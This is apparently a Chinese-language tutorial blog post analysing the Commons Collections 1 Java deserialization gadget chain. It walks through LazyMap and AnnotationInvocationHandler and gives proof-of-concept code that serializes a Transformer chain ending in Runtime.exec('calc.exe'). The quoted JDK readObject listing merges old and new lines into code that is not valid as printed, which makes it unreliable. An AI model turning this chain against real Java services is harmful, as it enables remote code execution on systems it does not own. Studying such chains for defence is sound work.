Java安全之Commons Collections1分析(二)
Java安全之Commons Collections1分析(二)
0x00 前言
續上篇文,繼續除錯cc鏈。在上篇文章除錯的cc鏈其實並不是一個完整的鏈。只是使用了幾個方法的的互相呼叫彈出一個計算器。
Java安全之Commons Collections1分析(一)
下面來貼出他的完整的一個呼叫鏈
Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
0x01 LazyMap
在分析前先來看看LazyMap
這個類,這個類和TransformedMap
類似。都是AbstractMapDecorator
繼承抽象類是Apache Commons Collections
提供的一個類。在兩個類不同點在於TransformedMap
是在put
方法去觸發transform
方法,而LazyMap
是在get
方法去呼叫方法。
當呼叫get(key)的key不存在時,會呼叫transformerChain的transform()方法。
修改一下poc,使用LazyMap的get方法來觸發命令執行試試。
public static void main(String[] args) throws Exception { //此處構建了一個transformers的陣列,在其中構建了任意函式執行的核心程式碼 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) }; //將transformers陣列存入ChaniedTransformer這個繼承類 Transformer transformerChain = new ChainedTransformer(transformers); //建立Map並繫結transformerChina Map innerMap = new HashMap(); innerMap.put("value", "value"); Map tmpmap = LazyMap.decorate(innerMap, transformerChain); tmpmap.get("1"); }
這樣也是可以成功的去執行命令。
0x02 AnnotationInvocationHandler
網上查詢資料發現AnnotationInvocationHandler該類是用來處理註解的。
AnnotationInvocationHandler類的建構函式有兩個引數,第⼀個引數是⼀個Annotation類型別引數,第二個是map型別引數。
在JDK裡面,所有的註解型別都繼承自這個普通的介面(Annotation)。
檢視它的readObject⽅法
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); ObjectInputStream.GetField fields = s.readFields(); @SuppressWarnings("unchecked") Class<? extends Annotation> t = (Class<? extends Annotation>)fields.get("type", null); @SuppressWarnings("unchecked") Map<String, Object> streamVals = (Map<String, Object>)fields.get("memberValues", null); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); annotationType = AnnotationType.getInstance(t); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; time to punch out throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); // consistent with runtime Map type Map<String, Object> mv = new LinkedHashMap<>(); // If there are annotation members without values, that // situation is handled by the invoke method. for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { // for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) { String name = memberValue.getKey(); Object value = null; Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value = new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); annotationType.members().get(name)); } } mv.put(name, value); } UnsafeAccessor.setType(this, t); UnsafeAccessor.setMemberValues(this, mv); }
使用反射呼叫AnnotationInvocationHandler
並傳入引數,這裡傳入一個Retention.class
,和outerMap
。
Retention
是一個註解類。outerMap
是我們TransformedMap
修飾過的類。
這麼這時候在 AnnotationInvocationHandler
的readObject
方法裡面 memberValues
就是我們使用反射傳入的 TransformedMap
的物件。
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
這⾥遍歷了它的所有元素,並依次設定值。在調⽤setValue
設定值的時候就會觸發TransformedMap
⾥的
Transform
,從而進入導致命令的執行。
0x03 POC分析
public static void main(String[] args) {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class,
Object[].class }, new Object[] { null, new
Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class
},
new String[] {
"calc.exe" }),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
這裡可以看到 在Transformer[]
數組裡面儲存的是一個Runtime.class
,而不是Runtime
物件。這是因為Runtime
並沒有實現java.io.Serializable
接⼝的 。是不可被序列化的。而Runtime.class
是屬於java.lang.Class
。java.lang.Class
是實現了java.io.Serializable
接⼝的。可以被序列化。
把這行程式碼序列化後,在後面的反序列化中並沒有去執行到命令。因為物理機的JDK版本較高,在高版本中的AnnotationInvocationHandler
的readObjec
t是被改動過的 。 從而並沒有到達命令執行的目的,但是在低版本中的JDK是可以執行的。
0x04 參考文章
P牛的JAVA安全漫談系列
https://xz.aliyun.com/t/7031#toc-2
https://www.cnblogs.com/litlife/p/12571787.html
https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/
0X05 結尾
在分析該cc鏈時,總是從懵逼到頓悟到再懵逼,反反覆覆。在中途腦子也是一團糟。其實到這裡CC鏈的除錯也並沒有結束,本文只是一點基礎知識,為下篇文做鋪墊。